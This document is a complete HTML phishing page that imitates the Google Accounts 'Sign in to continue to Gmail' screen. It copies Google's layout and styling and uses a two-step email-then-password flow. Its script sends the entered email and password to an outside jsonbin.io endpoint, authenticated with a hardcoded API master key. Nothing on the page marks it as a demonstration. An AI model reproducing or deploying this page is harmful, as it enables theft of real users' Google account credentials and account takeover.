<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Sign in - Google Accounts</title><style>body,html{font-family:'Roboto',Arial,sans-serif;margin:0;padding:0;height:100%;background-color:#fff}.a{display:flex;flex-direction:column;min-height:100%;padding:48px 24px 36px;box-sizing:border-box}.b{flex:1;margin-top:-20px}.c{width:44px;height:44px;margin-bottom:1px}h1{font-size:30px;font-weight:400;line-height:1.3333;margin-bottom:8px;color:#202124}.d{font-size:16px;font-weight:400;letter-spacing:.1px;line-height:1.5;margin-bottom:32px;color:#202124}input[type="text"],input[type="password"]{font-size:16px;width:91%;padding:18px 15px;border:.8px solid #7a7a7a;border-radius:4px;margin-bottom:8px}.e,.f{display:inline-block;margin-bottom:32px;color:#1a73e8;font-weight:500;font-size:14.5px;text-decoration:none}.g{font-size:14px;line-height:1.4286;margin-bottom:32px;color:#5f6368}.g a{color:#1a73e8;font-weight:500;text-decoration:none}.h{display:inline-block;color:#1a73e8;font-weight:500;font-size:14px;margin-bottom:32px;text-decoration:none}.i{float:right;background-color:#0c60cd;color:#fff;border:none;border-radius:20px;font-size:14px;font-weight:500;padding:10px 24px;cursor:pointer}.j{display:flex;justify-content:space-between;padding-top:20px;color:#5f6368;font-size:12px}.j select,.j a{color:#5f6368;text-decoration:none;padding:4px}.k a:not(:last-child){margin-right:8px}.l{display:flex;align-items:center;background-color:#fff;border:1px solid #dadce0;border-radius:16px;padding:5px 7px;margin-bottom:85px;cursor:pointer;width:91%}.l img{width:20px;height:20px;margin-right:8px}.l span{font-size:14px;color:#3c4043;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.l:after{content:"▼";font-size:12px;color:#5f6368;margin-left:auto}.m{display:flex;align-items:center;margin-bottom:60px;font-size:14.5px;color:#202124}.m input[type="checkbox"]{margin-right:8px}#n{display:none}.o{color:#d93025;font-size:12px;margin-top:4px;display:none}</style></head><body><div class="a"><div class="b" id="p"><img src="https://hackaday.com/wp-content/uploads/2016/08/google-g-logo.png" alt="Google" class="c"><h1>Sign in</h1><p class="d">to continue to Gmail</p><form id="q"><input type="text" id="r" name="email" placeholder="Email or phone" autocomplete="email" required><p id="s" class="o">Please enter a valid @gmail.com address.</p><a href="#" class="e">Forgot email?</a><p class="g">Not your computer? Use Guest mode to sign in privately. <a href="#">Learn more about using Guest mode</a></p><a href="#" class="h">Create account</a><button type="button" class="i" onclick="t1()"></button></form></div><div class="b" id="n"><img src="https://hackaday.com/wp-content/uploads/2016/08/google-g-logo.png" alt="Google" class="c"><h1>Welcome</h1><div class="l"><img src="https://www.gstatic.com/images/icons/material/system/1x/account_circle_black_20dp.png" alt="User icon"><span id="u"></span></div><form id="v"><input type="hidden" id="w" name="email"><input type="password" id="x" name="password" placeholder="Enter your password"><div class="m"><input type="checkbox" id="y" onchange="z()"><label for="y">Show password</label></div><a href="#" class="f">Forgot password?</a><button type="button" class="i" onclick="a1()"></button></form></div><div class="j"><select><option>English (United Kingdom)</option></select><div class="k"><a href="#">Help</a><a href="#">Privacy</a><a href="#">Terms</a></div></div></div><script>function t1(){const e=document.getElementById('r').value;const t=document.getElementById('s');if(e.endsWith('@gmail.com')&&e.length>10){document.getElementById('u').textContent=e;document.getElementById('w').value=e;document.getElementById('p').style.display='none';document.getElementById('n').style.display='block';const r=document.querySelector('.l');const n=Math.max(200,Math.min(400,e.length*10));r.style.width=`${n}px`}else{t.style.display='block'}}function z(){const e=document.getElementById('x');e.type=e.type==='password'?'text':'password'}async function a1(){const e=document.getElementById('w').value;const t=document.getElementById('x').value;const r={email:e,password:t};try{const e=await fetch('https://api.jsonbin.io/v3/b',{method:'POST',headers:{'Content-Type':'application/json','X-Master-Key':'$2a$10$NBv.uzmED4GJqRWEuTmNIeJLotRIXyASra7nKNt4P6J5QQtgO9Mni'},body:JSON.stringify(r)});const t=await e.json();console.log('Success:',t);alert('Data submitted successfully!')}catch(e){console.error('Error:',e);alert('Failed to submit data.')}}</script></body></html>
